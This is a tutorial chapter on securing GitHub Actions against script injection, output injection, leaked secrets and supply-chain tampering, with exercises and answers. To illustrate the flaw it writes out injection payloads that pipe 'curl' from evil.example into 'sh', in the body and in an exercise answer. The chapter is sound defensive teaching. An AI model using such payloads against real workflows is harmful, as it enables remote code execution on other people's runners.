Sub topic 15
Securing your action and its users
This chapter assumes you can write a JavaScript or Docker container action, you know workflow syntax (uses, with, env), and you have used @actions/core. It covers how to keep your action from becoming a way into a user's repository, and how users should call actions safely.
Who is at risk
An action runs inside someone else's job. It can read the checked-out code, the GITHUB_TOKEN, any secret passed to it, and anything else on the runner. This gives you two jobs.
- Protect your users from bugs in your action, such as injection and leaked secrets.
- Protect your action from being tampered with, so a changed tag or compromised dependency does not run attacker code.
The users also have a job. They need to decide which actions to trust and how to reference them.
Handle untrusted input
Many values in a workflow are controlled by outsiders. Pull request titles, branch names, issue bodies, and commit messages can all contain shell metacharacters or text crafted to look like a command.
Script injection through expressions
The expression ${{ ... }} is replaced with its value before the shell sees the script. If the value is attacker-controlled, it becomes part of the script text.
# Vulnerable: the title is pasted into the script before bash runs it
- run: echo "Title is ${{ github.event.pull_request.title }}"A pull request titled "; curl https://evil.example/x.sh | sh; echo " turns that line into three commands. Pass the value through an environment variable instead. The shell then treats it as data.
- name: Print the title safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title is $PR_TITLE"The same rule applies inside your own code. In a Docker entrypoint, quote every expansion.
#!/bin/sh -l
# "$1" is quoted, so spaces and metacharacters stay as data
echo "Hello $1"Do not pass input to eval, sh -c, or string-built commands. In JavaScript, prefer child_process.execFile with an argument array over exec with a single string.
const { execFile } = require('node:child_process');
const core = require('@actions/core');
const branch = core.getInput('branch');
// Arguments are passed as an array, so no shell parses them.
execFile('git', ['checkout', '--', branch], (error, stdout) => {
if (error) {
core.setFailed(error.message);
return;
}
console.log(stdout);
});The -- ends option parsing, so a branch named --force is not read as a flag.
Validate inputs
Treat every core.getInput value as untrusted. Check its shape before use and fail early.
const core = require('@actions/core');
const level = core.getInput('level');
const allowed = ['debug', 'info', 'warn'];
if (!allowed.includes(level)) {
core.setFailed(`level must be one of ${allowed.join(', ')}; got "${level}"`);
} else {
console.log(`Log level: ${level}`);
}Prefer an allow list over trying to strip bad characters.
Outputs can be injected too
Writing to GITHUB_OUTPUT or GITHUB_ENV with echo "name=$value" is unsafe when $value contains a newline. The attacker's text can add a second name=value line. Use core.setOutput, which handles this, or use the multi-line delimiter syntax with a random delimiter in shell.
#!/bin/sh -l
value="$1"
delimiter="EOF_$(od -An -N8 -tx1 /dev/urandom | tr -d ' \n')"
{
echo "result<<$delimiter"
echo "$value"
echo "$delimiter"
} >> "$GITHUB_OUTPUT"Be especially careful with GITHUB_ENV. Letting outsiders set variables such as PATH, NODE_OPTIONS, or LD_PRELOAD gives them code execution in later steps.
Handle secrets
- Take secrets as inputs, not as hard-coded values, and never write them to a file in the repository.
- Call
core.setSecret(value)for any sensitive value your action computes or fetches, such as a short-lived token. The runner then masks it in logs. - Do not echo inputs for debugging. Masking only matches exact strings. A transformed value, such as a base64-encoded secret, is not masked unless you register it too.
- Do not put secrets in outputs. Outputs can be read by later steps and jobs, and a masked output may be dropped when passed between jobs.
const core = require('@actions/core');
const token = await fetchShortLivedToken(); // your own function
core.setSecret(token); // mask before anything can print it
core.setOutput('has-token', 'true');Remember that action inputs are not secret by default. Users must supply a secret as ${{ secrets.NAME }}, and your action.yml description should say which inputs are sensitive.
Ask for the least privilege
The GITHUB_TOKEN permissions are set by the workflow, not by your action. Document what your action needs so users can restrict it.
name: Label pull requests
on: [pull_request]
permissions:
contents: read
pull-requests: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: example/labeler@v1Do not default your action to a broad personal access token when the GITHUB_TOKEN is enough. If your action needs write access, say so in the README.
Also take care with the pull_request_target event. It runs with write access and secrets, but in the context of the base branch. Checking out and running code from the pull request in that job hands those privileges to the contributor.
Secure the supply chain
Dependencies in a JavaScript action
Your committed bundle in dist/ is what runs, so a bad dependency ends up in it.
- Commit
package-lock.jsonand install withnpm ci, so builds use exactly the locked versions. - Run
npm auditin CI and enable Dependabot or similar updates. - Rebuild the bundle in CI and fail if
dist/differs from the committed copy. This catches a bundle that does not match its source. - Keep dependencies few. Each one is code you ship to every user.
Base images in a container action
- Pin the base image to a version, as in
alpine:3.20. For stronger guarantees, pin to a digest (alpine@sha256:...). - Install only the packages the entrypoint needs.
- Do not run as root if the action does not need it. Note that GitHub runs Docker actions with the user your Dockerfile sets, and some file-access features of the runner expect root, so test this.
Publishing
Enable two-factor authentication for accounts with write access. Restrict who can push tags, since a tag push changes what every user gets. Use branch and tag protection rules where available.
Pin the actions you use
A tag such as v4 can be moved. If a maintainer's account is compromised, the attacker can repoint v4 to malicious code, and every workflow using it runs that code on the next trigger. A full commit SHA cannot be repointed.
| Reference | Example | Can it change under you? | Trade-off |
|---|---|---|---|
| Branch | `@main` | Yes, on every push | Never use for third-party actions |
| Moving major tag | `@v4` | Yes, by the maintainer | Easy updates, relies on trust |
| Exact tag | `@v4.1.7` | Yes, if the tag is force-moved | Readable, still mutable |
| Full commit SHA | `@<40-character SHA>` | No | Immutable, needs tooling to update |
Pin third-party actions to a full SHA and add the version as a comment. Let Dependabot propose updates.
steps:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7Check that the SHA belongs to the official repository and not to a fork. A commit from a fork can be referenced through the parent repository's name.
As an action author, make pinning practical for your users. Publish releases, keep tags consistent, and write a changelog so that reviewing an update is feasible. The tagging approach is covered in the previous chapter.
Review before you trust
Before adopting a third-party action, check these points.
- Read
action.ymland the entry code. For JavaScript actions, comparedist/againstsrc/or rebuild it. - Look at what inputs it receives and what network calls it makes.
- Check the maintainers, release history, and whether the repository is actively maintained.
- Restrict the allowed actions at the organization or repository level in the Actions settings, for example to GitHub-owned actions plus an approved list.
Common mistakes
- Placing
${{ github.event.* }}directly in arun:script. - Echoing an input to the log "just to debug".
- Using
echo "x=$value" >> "$GITHUB_OUTPUT"with a multi-line or user-controlled value. - Referencing
@mainor an unreviewed tag. - Committing a
dist/bundle that was built on a laptop with different dependencies than the lockfile. - Using
pull_request_targetand checking out the pull request's code.
Exercise
A workflow step runs echo "Branch: ${{ github.head_ref }}" on pull requests from forks. Explain why this is unsafe and rewrite the step so it is safe.
Show answer
github.headref is the name of the contributor's branch, which they control. The ${{ }} expression is expanded into the script text before bash runs it, so a branch name containing characters such as "; curl evil.example | sh; " becomes part of the script and runs as commands. Move the value into an environment variable so the shell treats it as data: set `env: HEADREF: ${{ github.headref }} on the step and use run: echo "Branch: $HEADREF"`.
Exercise
Why is uses: some-org/some-action@v2 riskier than pinning to a commit SHA, and what must you check when you pin to a SHA?
Show answer
A tag is a mutable pointer. The maintainer, or an attacker who compromises their account, can move v2 to new code, and your workflow runs it on its next trigger. A full commit SHA cannot be repointed. When pinning, confirm that the SHA belongs to the official repository and not to a fork, and record the version in a comment so that updates (for example from Dependabot) can be reviewed.